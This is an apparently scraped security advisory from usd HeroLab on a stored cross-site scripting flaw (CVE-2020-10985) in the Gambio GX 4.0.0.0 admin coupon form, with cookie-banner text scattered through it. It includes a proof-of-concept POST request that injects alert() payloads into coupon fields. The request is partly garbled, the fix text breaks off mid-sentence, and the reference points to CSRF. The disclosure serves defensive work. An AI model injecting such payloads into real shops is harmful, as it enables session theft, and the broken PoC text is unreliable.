



HeroLab



Technisch erforderlich



Analyse und Performance



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



**Advisory ID:** usd-2020-0035  
**CVE Number:** CVE-2020-10985  
**Affected Product:** Gambio GX  
**Affected Version:** 4.0.0.0  
**Vulnerability Type:** Stored Cross-Site Scripting  
**Security Risk:** Medium  
**Vendor URL:** <https://www.gambio.de/>  
**Vendor Status:** Fixed in 4.0.1.0 (according to vendor)

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

## Description

The open source web application „Gambio GX“ is contains a XSS vulnerability. In the admin area multiple arguments that are passed while creating a new coupon code are vulnerable to XSS.

Stored cross-site scripting arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way. The transferred inputs are not filtered or encoded before saving or during output.

## Proof of Concept (PoC)

The following request can be send to the web application to create a new coupon. Multiple arguments in the request are vulnerable to XSS. For test purposes the XSS payloads were inserted into to the *coupon\_name* and *coupon\_desc* POST parameters.



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse Zwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

```
Content-Length: 2452
Connection: close
Cookie: GXsid_03c93da3fcc6be
Upgrade-Insecure-Requests: 1

-----
Content-Disposition: form-data; name="coupon"

alert("coupon")
-----
Content-Disposition: form-data; name="coupon_desc[2]"

alert("coupon2")
-----
Content-Disposition: form-data; name="coupon_desc[1]"

alert("description")
-----
Content-Disposition: form-data; name="coupon_desc[1]"

alert("description2")
-----
Content-Disposition: form-data; name="coupon_amount"

10%
-----
Content-Disposition: form-data; name="coupon_min_order"

-----
Content-Disposition: form-data; name="coupon_code"

43db974ac0
-----
Content-Disposition: form-data; name="coupon_uses_coupon"

-----
Content-Disposition: form-data; name="coupon_uses_user"

-----
Content-Disposition: form-data; name="coupon_products"

-----
Content-Disposition: form-data; name="coupon_categories"

-----
Content-Disposition: form-data; name="coupon_startdate_day"

23
-----
Content-Disposition: form-data; name="coupon_startdate_month"

3
-----
Content-Disposition: form-data; name="coupon_startdate_year"

2020
-----
Content-Disposition: form-data; name="coupon_finishdate_day"

23
-----
Content-Disposition: form-data; name="coupon_finishdate_month"

3
-----
Content-Disposition: form-data; name="coupon_finishdate_year"

2021
-----
Content-Disposition: form-data; name="page_token"

adea66e561731daa1a5a6b0adec0ac4d
-----
Content-Disposition: form-data; name="page_token"

adea66e561731daa1a5a6b0adec0ac4d
-----
```

## Fix

It is possible to filter received user input as strictly as possible based on what is expected or valid input. Another option is to encode user-controllable data in HTTP responses, encode the output combinations of HTML, URL, JavaScript, and JSON, and encode the output context, this might require applying

## References

[https://www.owasp.org/index.php/Cross-Site\\_Request\\_Forgery\\_\(CSRF\)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))

## Timeline

- 2020-03-25 Vulnerability Discovered
- 2020-03-26 Initial Contact Request
- 2020-03-26 Advisory submitted to vendor



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse Zwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



## Credits

This security vulnerability was found by

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

## About usd Security Advisories



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our **CST Academy** and our **usd HeroLab** are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the **usd HeroLab** publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG's **Responsible Disclosure Policy**, all vendors have been notified of the existence of these vulnerabilities.

## Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

[usd AG](#)

[Kontakt](#)

[Impressum](#)

[Datenschutz](#)

[AGB](#)

© 2022 usd AG

[Meldung einer Schwachstelle oder eines Bugs](#)

[Code of Ethics](#)



[LabNews](#)

[Security Advisory zu GitLab](#)

**Dez 15, 2022**

[Security Advisory zu Acronis Cyber Protect](#)

**Nov 9, 2022**

[Security Advisories zu Apache Tomcat](#)

**Nov 24, 2022**